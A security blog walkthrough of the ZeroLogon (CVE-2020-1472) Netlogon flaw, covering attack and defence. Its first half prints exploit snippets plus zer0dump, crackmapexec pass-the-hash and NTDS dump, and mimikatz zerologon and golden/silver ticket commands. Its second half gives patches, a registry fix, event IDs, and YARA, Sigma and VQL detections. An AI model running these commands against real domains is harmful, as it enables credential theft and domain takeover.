ZeroLogon(CVE-2020-1472) - Attacking & Defending

A handy walkthrough of CVE-2020-1472 from both a red and blue team perspective, how to detect, patch and hack ZeroLogon

ZeroLogon(CVE-2020-1472) - Attacking & Defending

Originally this post was a twitter thread, investigating the vulnerability lightly from both red and blue however with most things twitter isn't enough!

I've expanded it more to deep dive outside 280 chars in both a blue and red light.

You're reading this already thinking, not another zerologon post, oh great 😒... Stay tuned it's a bit more than the normal posts, looking at it from the build break defend fix mentality.

I've added a quick skip ToC if you want to skip to specific areas that interest you, or otherwise buckle up folks, it's going to be a long ride!

What is ZeroLogon?

Before we start going full tilt technical attack and defend, what is the bug and how does it work?

The Netlogon Remote Protocol (also called MS-NRPC) is a remote procedure call(RPC) interface that is used exclusively by domain-joined devices. MS-NRPC includes an authentication method and a method of establishing a Netlogon secure channel. These updates enforce the specified Netlogon client behaviour to use secure RPC with Netlogon secure channel between member computers and Active Directory (AD) domain controllers (DC).

Zerologon also known as CVE-2020-1472 affects a cryptographic authentication scheme(AES-CFB8) used by MS-NRPC, this scheme has multiple uses however the reason this is so widely publicised is the ability to change computer account passwords which can lead to a foothold within a Windows estate.

AES-CFB8 works in that it encrypts each byte of the plaintext by prepending a 16-byte Initialisation Vector (IV) to the plaintext, then applying AES to the first 16 bytes of the IV and plaintext, taking the first byte of the AES output, and XORing it with the next plaintext byte.

Why is this important? Well the way to exploit the authentication protocol is to brute-force login attempts; for 1 in 256 keys, applying AESCFB8 encryption to an all-zero plaintext will result in all-zero ciphertext thus enabling a bypass of logon and hence where the name zerologon comes from.

Attackers' Paradise

The exploit that most of the PoCs is focused on is the ability to change computer account active directory passwords and leverage them to establish a foothold on an estate. Leveraging this to attack domain controllers as they are in the domain controllers AD group which is typically got higher than standard privileges can enable a foothold with higher privileges and lead to domain admin privileges.

Using the NetrServerPasswordSet2 method it is possible to create a new password for the client that can be encrypted with the session key using the AES-CFB8. A Netlogon plaintext password consists of 516 bytes, the last four indicate the password length. By providing 516 zeroes, this will be decrypted to 516 zeros or an empty password. Changing the password this way only updates it in the AD.

Most of the exploit code out there works by sending an authentication request with multiple null bytes against the netlogon channel, followed with a zeroed cipher text and challenge flags for authentication as shown in the snipped below:

server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )

As mentioned above the attack works for every 1 in 256 attempts therefore a minimum of 256 authentication attempts are required to get a successful exploit clause, all of the exploit code I've seen uses 2000 as the maximum attempts so as to ensure a 0.04% false negative exploit case. Another snippet below shows the for loop for attempting to authenticate against a target host:

for attempt in range(0, MAX_ATTEMPTS):
    rpc_con, serverChallenge = try_zero_authenticate(dc_handle, dc_ip, target_computer)
    if rpc_con == None:
        print('=', end='', flush=True)
    else:
        break
  if rpc_con:
    print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
    plaintext = b'\x00' * 8
    sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None)
    ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey)
    clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
    print()
    blah = nrpc.hNetrServerPasswordSet2(
        rpc_con, dc_handle + '\x00',
        target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
        target_computer + '\x00',
        update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516
    )
    blah.dump()

However if authentication is successful the target system will respond with an error code of 0 and result in the machine account's password being changed to a blank string.

Attacking Machines in a Lab

IMPORTANT: Performing this attack on live production systems will break domain replication and by proxy break domain controllers, therefore ONLY carry out within a lab environment you control or have the ability to roll back.

Now talking about how the exploits work and how the vulnerability works is all fine and well but what is equally fun to see is how it works in an environment. My testing lab environment consists of multiple windows machines of varying flavours and configurations:

Domain Controllers
Workstations
Attacker Machine

If you're interested in setting up your own lab you only really need one DC and one attacking machine for this, my good friend & talented colleague Neil Lines has written how to setup a home lab using server core if you're interested in how to do that check it out here. Additionally my good friend Tony has also put together a guide for building a home lab that can be found here.

There are a few pre-requisites for attack with the various python scripts including impacket, so here's the steps to setup your environment:

  1. Pull down impacket and install it git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket && python3 -m pip install .
Installing Impacket

Next pull down a copy of the exploit, there are multiple PoCs out there for testing things including the newest version of mimikatz that has a zerologon module. I'm going to demonstrate a PoC and mimikatz separately, first up zer0dump:

  1. git clone https://github.com/bb00/zer0dump
  2. cd zer0dump && sudo pip install -r requirements.txt
Installing Requirements
Script options

Leveraging the tool against one of the DCs is as simple as:

python3 zer0dump.py 10.10.100.38 - where 10.10.100.38 is the IP address of the domain controller. The script will perform several logon attempts and if the attack is successful will return an Administrator hash that can be leveraged in pass the hash attacks or cracked and leveraged!

Exploit Successful

The exploit dumps out NTDS.dit (which is where all the NTLM hashes for users on the domain are held) from the domain to /tmp/dumped.tmp.ntds and leverages secrets dump to dump out the local administrator password as shown above. In addition we can see that the exploit was successful as the Error Code returned was zero. The Administrator's hash has been set to a blank string, we can confirm this by passing the hash through john the ripper:

This can be further leveraged via pass the hash attacks with tooling such as crackmapexec to authenticate to other machines on the network(note this is extremely noisy but again if nobody is listening then who cares ;)! ).

cme smb 10.10.100.1/24 -u  Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

Crackmap Exec Sprayed across estate

As we're admin lets weaponise this a little more and dump all of NTDS.dit for attacks later on:

cme smb 10.10.100.29 -u  Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --ntds

The python script is pretty cool but how about mimikatz? Mimikatz can be loaded into memory or run in multiple ways, for the purposes of this demo I'm going to run it on a windows machine within my lab. It can be acquired from GitHub and built from source here.

Once built it can be run by launching the exe within a terminal window or from an explorer window:

mimikatz 2.2.0 x64

The command required to execute zerologon attack from mimikatz is as follows:

lsadump::zerologon /server:DC2.purplehaze.defense /account:DC2$

This will instruct mimikatz to target DC2.purplehaze.defense and specifically the machine account DC2$.

Host Vulnerable to Attack

The screenshot above tells us that the host is indeed vulnerable, now to exploit the command is appended with /exploit:

lsadump::zerologon /server:DC2.purplehaze.defense /account:DC2$ /exploit

Exploitation Successful

Again as easy as that, how scary! Mimikatz & zer0dump aren't the only versions either, there's loads of PoCs on github right now!

Github PoCs

A few key ones of note that aren't just Python are:

Now we've had some fun changing the password of the machine and dumping hashes with secrets dump what else can be done with the attack?

Weapons Free!

Computer/machine accounts are essentially the same as user accounts and can be as dangerous if misconfigured. Therefore there are a few additional attacks that can be carried out by leveraging the machine account password/hash:

Gold and silver ticket attacks work by leveraging the Kerberos Ticket Granting Service (TGS) to forge tickets. The main difference between gold and silver ticket attacks is that a silver ticket only allows an attacker to  forge TGS tickets for specific services. Both can be exploited as Zerologon enables attackers to change a computer account password.

Once the attacker has access to the computer account password hash, the account can be used as a “user” account to query Active Directory, but the more interesting use case is to create Silver Tickets to access computer hosted services with admin rights. By default Active Directory does not prevent a computer account from accessing AD resources even if the computer account password hasn’t changed in years.

Silver Tickets

The key ingredients that make up a silver ticket are as follows:

  • KRBTGT account hash
  • Target User
  • Account SID
  • Domain Name
  • Target Service
  • Target Server

If the attacker has dumped the Active Directory database or gained knowledge of a Domain Controller’s computer account password, the attacker can use Silver Tickets to target the DC’s services as an admin and persist in Active Directory, which is far more dangerous than initially just gaining domain admin privileges on the estate!

We can obtain the SID by running CME on the DC with Pass-The-Hash, obviously other methods are available too; whoami /user.

Here’s the command line used in Mimikatz to perform the attack once we have the SID:

kerberos::golden /domain:purplehaze.defense /user:zephr /sid:S-1-5-21-2813455951-1798354185-1824483207 /rc4:9876543210abcdef9876543210abcdef /target:DC2.purplehaze.defense /service:cifs /ptt /id:500 
Silver Ticket Against CIFS Service

There are other methods of performing a silver ticket attack but mimikatz just makes it so easy with the pass the ticket flag and kerberos::golden function.

Golden Tickets

Similar to silver tickets, a golden ticket can be generated with the krbtgt account hash, the domain name and  SID of the domain to which the KRBTGT account belongs. Golden tickets can be created for valid domain accounts or for accounts that do not exist which makes them even more attractive to attackers!

kerberos::golden /domain:purplehaze.defense /user:zephr /sid:S-1-5-21-2813455951-1798354185-1824483207 /rc4:9876543210abcdef9876543210abcdef /target:DC2.purplehaze.defense /ptt 
Golden Ticket Attack Command

Stale DNS entries

While the main focus on attacks has been around domain controllers in an AD environment there has been little focus on DNS based attacks whereby an attacker can discover stale DNS entries of older DC DNS entries and change the computer password for these entries without affecting operations. Say for example you were to sweep a network for hosts and find a DNS entry that doesn't exist anymore, can we target this?

Stale DNS Entry! 

Fire up a PoC of choice, in this example I'll use mimikatz:

lsadump::zerologon /server:stream-dc.purplehaze.defense /account:stream-dc$ /exploit

There we go a functioning exploit against a non-existent domain controller within AD aka a stale DNS entry! Now the above looks the exact same as the first round PoC and that's because it basically is however with one caveat, the DNS entry has an AD account but no machine associated so what I've just managed to do is change the machine password for an AD object that doesn't have an associated machine on the network and thus established a foothold on the domain with potential permissions.

Defenders' Nightmare

The first half of this post has been all about how to exploit the bug but equally as important as it is to understand how the attack works it is just as important to have an understanding of:

  • 1) What's affected?
  • 2) How to fix it?
  • 3) How to detect and respond to attempts?

What is Affected?

  • Windows Server version 2004
  • Windows Server version 1909
  • Windows Server version 1903
  • Windows Server 2019
  • Windows Server 2016
  • Windows Server 2012 R2
  • Windows Server 2012
  • Windows Server 2008 R2
  • Windows Server 2008
  • Windows Server 2003 R2
  • Windows Server 2003

How Do We Fix It?

First, patching the issue there's a few steps required and there also is not a full fix out for it yet which is what makes this a little more dangerous than your average CVSS 10.0 vulnerability.

Mitigation consists of installing the update on all DCs and RODCs, monitoring for new events, and addressing non-compliant devices that are using vulnerable Netlogon secure channel connections. Machine accounts on non-compliant devices can be allowed to use vulnerable Netlogon secure channel connections; however, they should be updated to support secure RPC for Netlogon and the account enforced as soon as possible to remove the risk of attack.

Apply the August 11 2020 patch from Microsoft, the full list of KB numbers per operating system can be found here.

In addition Microsoft will be releasing updates on  February 9, 2021 which will turn on DC enforcement mode.  As a work around there is a group policy that can be set in conjunction with a registry key to temporarily fix the issue:

  • Policy path: Computer Configuration > Windows Settings > Security Settings > Security Options
  • Setting name: Domain controller: Allow vulnerable Netlogon secure channel connections

It should be noted that Microsoft warns: This policy should be used as a temporary measure for third party devices as you deploy updates.

Add the following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\FullSecureChannelProtection

This can be achieved with the following command:

REG add "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" /v FullSecureChannelProtection /t REG_DWORD /d 1/f

In addition to adding in work arounds, Microsoft has also included guidance of specific event IDs to monitor for against suspicious activity on your estate for errors, this can be found at this link.

Once you’ve installed the August 2020 (or later) updates, review the event logs in the domain controller for the following events in the system event log:

  • Log event IDs 5827 and 5828 if connections are denied
  • Log event IDs 5830 and 5831 if connections are allowed by "Domain controller: Allow vulnerable Netlogon secure channel connections" group policy
  • Log event ID 5829 whenever a vulnerable Netlogon secure channel connection is allowed.

These events should be addressed before the DC enforcement mode is configured or before the enforcement phase starts on February 9, 2021.

Detection & Response: Monitoring For Attacks

As we've seen this attack is incredibly easy to execute, but equally as exploit window is 1 in 256 it is possible to write queries to monitor for anomalous activity to potentially spot exploit attempts before it is too late or in cases where exploitation has occurred spotting activity in event logs.

There are numerous tools out there to carry out events monitoring and equally even more for threat hunting, as a result I've only included some hunt queries for some open source tools combined with sigma rules that can be converted to other platforms. I've also included data that others have put together that will hopefully help you narrow down your hunts.

The following event IDs for both eventlog and sysmon should be monitored in various tools, thanks to Anton Ovrutsky from Lares for an in depth blog post about splunk queries which can be found here. A few of the events are listed in his blog post but I'm going to include them here for quick reference too!

  • Event ID - 4742; A computer account was changed, specifically the action may have been performed by an anonymous logon event.
  • Event ID - 5805; A machine account failed to authenticate, which is usually caused by either multiple instances of the same computer name, or the computer name has not replicated to every domain controller.
  • Event Code 4624;  Notes a successful login to the machine, specifically an event code 4624, followed by an event code of 4724 is triggered when the vulnerability is exploited on hosts.
  • Sysmon Event ID 3; The network connection event logs TCP/UDP connections on the machine. An incoming network connection is made from the attacking machine to the victim Domain Controller to the LSASS process when the Zerologon event occurs
  • Sysmon Event ID 1 & 13; If the machine password is reset, it is likely that a system process of powershell will be spawned with the following parameters(note the serviceName is unique to zer0dump.py by default it is 'fucked'), in reality the serviceName could be anything:

powershell.exe -c Reset-ComputerMachinePassword'

  • System Event Code ID 3210; If the host has been exploited and the machine password has been changed the event log will fill up with 3210 event IDs which signify errors with NETLOGON. Especially if the host is in a replication pair.
  • Event ID - 4662; If a DCSync attack has been carried out following the above event IDs, an event ID of 4662 will be generated with any of the three GUIDs:
  • The “DS-Replication-Get-Changes” extended right
  • CN: DS-Replication-Get-Changes
  • GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
  • The “Replicating Directory Changes All” extended right
  • CN: DS-Replication-Get-Changes-All
  • GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
  • The “Replicating Directory Changes In Filtered Set” extended right (this one isn’t always needed but we can add it just in case :)
  • CN: DS-Replication-Get-Changes-In-Filtered-Set
  • GUID: 89e95b76-444d-4c62-991a-0facbeda640c

Here's an example of the attack chain documented in the event log from successful exploitation(note the event log was cleared to show the events generated upon successful exploitation):

System Logs
Security Logs, Authentication Failed with a Null GUID
Sysmon Logs Generated on Exploit Attempt

Yara Rule For Detection

In addition to the event logs, there is also a yara rule for ease of detection:

rule Cynet_Zerologon_ClientCredentials
{
        meta:
                ref = "CVE-2020-1472"
		description = "Detection of Zerologon Exploit using null client credentials"
		author = "Cynet"
		date = "24/09/2020"
		reference = "https://www.cynet.com/zerologon"
		reference_1 = "https://www.secura.com/blog/zero-logon"
				
    strings:
        $CVE20201472 = { 00 24 00 00 00 06 00 ?? 00 00 00 00 00 00 00 ?? 00 00 00 [2-510] 00 00 00 00 00 00 00 00 ff ff 2f 21 }


    condition:
        $CVE20201472
}

Sigma Rules for Hunting

There's also a few sigma rules that can be leveraged to hunt out ZeroLogon, the first is one that Adam Swan of SOC Prime wrote:

title: Possible CVE-2020-1472 (zerologon)
description: CVE-2020-1472 (Netlogon Elevation of Privilege Vulnerability) may create thousands of NetrServerReqChallenge & NetrServerAuthenticate3 requests in a short amount of time.
author: SOC Prime Team
date: 2020/09/11
references:
- https://github.com/SecuraBV/CVE-2020-1472
tags:
- attack.lateral_movement
- attack.T1210
logsource:
  product: zeek
  service: dce_rpc
detection:
  selection:
    endpoint: 'netlogon'
    operation: 'NetrServerReqChallenge'
  selection2:
    endpoint: 'netlogon'
    operation: 'NetrServerAuthenticate3'
  timeframe: 1m
  condition: selection or selection2 | count() by src_ip > 100
falsepositives:
- 'unknown'
level: high

DC-Sync:

title: Mimikatz DC Sync
id: 611eab06-a145-4dfa-a295-3ccc5c20f59a
description: Detects Mimikatz DC sync security events
status: experimental
date: 2018/06/03
modified: 2020/09/11
author: Benjamin Delpy, Florian Roth, Scott Dermott
references:
    - https://twitter.com/gentilkiwi/status/1003236624925413376
    - https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2
tags:
    - attack.credential_access
    - attack.s0002
    - attack.t1003.006
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4662
        Properties:
            - '*Replicating Directory Changes All*'
            - '*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*'
        EventID: 4662
        Properties:
            - '*DS-Replication-Get-Changes*'
            - '*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*'
    filter1:
        SubjectDomainName: 'Window Manager'
    filter2:
        SubjectUserName:
            - 'NT AUTHORITY*'
            - '*$'
            - 'MSOL_*'
    condition: selection and not filter1 and not filter2
falsepositives:
    - Valid DC Sync that is not covered by the filters; please report
level: high

Velociraptor Hunting Queries

VQL Anonymous Logon Custom Artifact:

name: Custom.Windows.EventLogs.AnonymousLogon-ZL
description: |
  Parse Security Event Log for Anonymous Logon events that could be ZeroLogon attempts
  
precondition: SELECT OS From info() where OS = 'windows'

parameters:
  - name: dateFrom
    default: ""
    type: timestamp
  - name: securityLogFile
    default: C:/Windows/System32/Winevt/Logs/Security.evtx

sources:
  - queries:
      - SELECT System.EventID.Value,
               EventData.SubjectUserSid, 
               EventData.SubjectUserName, 
               EventData.SubjectDomainName, 
               EventData.SubjectLogonId,
               EventData.TargetUserSid, 
               EventData.TargetUserName, 
               EventData.TargetDomainName, 
               EventData.TargetLogonId, 
               EventData.LogonType, 
               EventData.WorkstationName,
               EventData.Properties,
               EventData.LogonGuid, 
               EventData.TransmittedServices, 
               EventData.ProcessId, 
               EventData.ProcessName,
               EventData.IpAddress, 
               EventData.IpPort,
               EventData.ImpersonationLevel,
               EventData.RestrictedAdminMode,
               EventData.TargetOutboundUserName,
               EventData.TargetOutboundDomainName,
               EventData.VirtualAccount,
               EventData.TargetLinkedLogonId,
               EventData.ElevatedToken,
               timestamp(epoch=System.TimeCreated.SystemTime) as Time,
               System.TimeCreated.SystemTime AS TimeUTC
        FROM parse_evtx(filename=securityLogFile)
        WHERE System.EventID.Value = 4742
        AND timestamp(epoch=System.TimeCreated.SystemTime) >= dateFrom

All The Event IDs Associated with ZeroLogon VQL:

name: Custom.Windows.EventLogs.ZeroLogonHunt
description: |
  Parse Security Event Log for ZeroLogon Events;  4662, 4672, 5805, 4624, 4742

precondition: SELECT OS From info() where OS = 'windows'

parameters:
  - name: dateFrom
    default: ""
    type: timestamp
  - name: securityLogFile
    default: C:/Windows/System32/Winevt/Logs/Security.evtx

sources:
  - queries:
      - SELECT System.EventID.Value,
               EventData.SubjectUserSid, 
               EventData.SubjectUserName, 
               EventData.SubjectDomainName, 
               EventData.SubjectLogonId,
               EventData.TargetUserSid, 
               EventData.TargetUserName, 
               EventData.TargetDomainName, 
               EventData.TargetLogonId, 
               EventData.Properties,
               EventData.LogonType, 
               EventData.LogonProcessName, 
               EventData.AuthenticationPackageName, 
               EventData.WorkstationName,
               EventData.LogonGuid, 
               EventData.TransmittedServices, 
               EventData.LmPackageName, 
               EventData.KeyLength,
               EventData.ProcessId, 
               EventData.ProcessName,
               EventData.IpAddress, 
               EventData.IpPort,
               EventData.ImpersonationLevel,
               EventData.RestrictedAdminMode,
               EventData.TargetOutboundUserName,
               EventData.TargetOutboundDomainName,
               EventData.VirtualAccount,
               EventData.TargetLinkedLogonId,
               EventData.ElevatedToken,
               timestamp(epoch=System.TimeCreated.SystemTime) as Time,
               System.TimeCreated.SystemTime AS TimeUTC
        FROM parse_evtx(filename=securityLogFile)
        WHERE System.EventID.Value = 4662 OR System.EventID.Value = 4672 OR System.EventID.Value = 5805 OR System.EventID.Value = 4624 OR System.EventID.Value = 4742  
        AND timestamp(epoch=System.TimeCreated.SystemTime) >= dateFrom

Further VQL queries can be created by shortening the second query for specifics related to the above Event IDs.

Kevin Beaumont has written a monster Azure sentinel query that will enable you to hunt for ZeroLogon in an Azure env:

GossiTheDog/ThreatHunting
Tools for hunting for threats. Contribute to GossiTheDog/ThreatHunting development by creating an account on GitHub.
Dce_Rpc | where (endpoint == "netlogon" and (operation == "NetrServerReqChallenge" or operation == "NetrServerAuthenticate3")) | summarize var = count() by SourceIp | where var > 100

In addition Azure ATP detection is called “Suspected Netlogon privilege elevation attempt (CVE-2020-1472 exploitation)”, will automatically fire if you have Azure ATP. Defender for Endpoints has behavioural detection alerts for attempted exploitation, along with generic detections like HackTool:MSIL/SharpZeroLogon. Source: https://twitter.com/GossiTheDog/status/1309048793183158282

Conclusion

The bug itself is a bit of a game changer in terms of attacks while it is such a simple exploit and attack it has some very detrimental consequences. Important takeaways regardless of what side of the fence you sit are you should be patching the issue and encouraging your clients to do the same. A degree of care should be taken when approaching exploiting in a live environment as IT WILL BREAK a domain and without a backup of the machine password it is not a fun process to repair it!